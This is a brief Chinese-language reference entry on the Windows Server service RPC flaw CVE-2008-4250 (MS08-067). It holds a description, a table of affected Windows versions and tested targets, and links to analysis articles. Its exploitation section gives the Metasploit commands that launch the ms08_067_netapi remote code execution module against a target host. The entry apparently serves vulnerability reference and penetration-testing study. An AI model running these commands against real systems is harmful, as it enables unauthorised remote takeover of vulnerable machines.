### CVE-2008-4250

#### 描述

Pre-Beta中的Server服务允许远程攻击者通过精心设计的RPC请求执行任意代码，该请求会在执行以下操作时触发溢出路径规范化。

#### 影响版本

| Product             | CPU Architecture | Version | Update | Tested             |
| ------------------- | ---------------- | ------- | ------ | ------------------ |
| Windows 2000        |                  |         | SP4    |                    |
| Windows Server 2003 |                  |         | SP1    |                    |
| Windows Server 2003 |                  |         | SP2    | &#10004; |
| Windows Server 2003 |                  |         |        |                    |
| Windows Server 2008 | X86/X64          |         |        |                    |
| Windows Vista       |                  |         | SP1    |                    |
| Windows Vista       |                  |         |        |                    |
| Windows Xp          |                  |         | SP2    |                    |
| Windows Xp          |                  |         | SP3    |                    |
| Windows Xp          |                  |         |        |                    |

#### 利用方式

使用msf 测试系统Windows Server 2003 SP2 x86

```
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.1.14
run
```

![image-20200823143331505](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2008-4250_win2003_x86_msf.png)

#### 分析文章
- https://bbs.pediy.com/thread-251219.htm
- https://www.jianshu.com/p/d086eb1ab0a6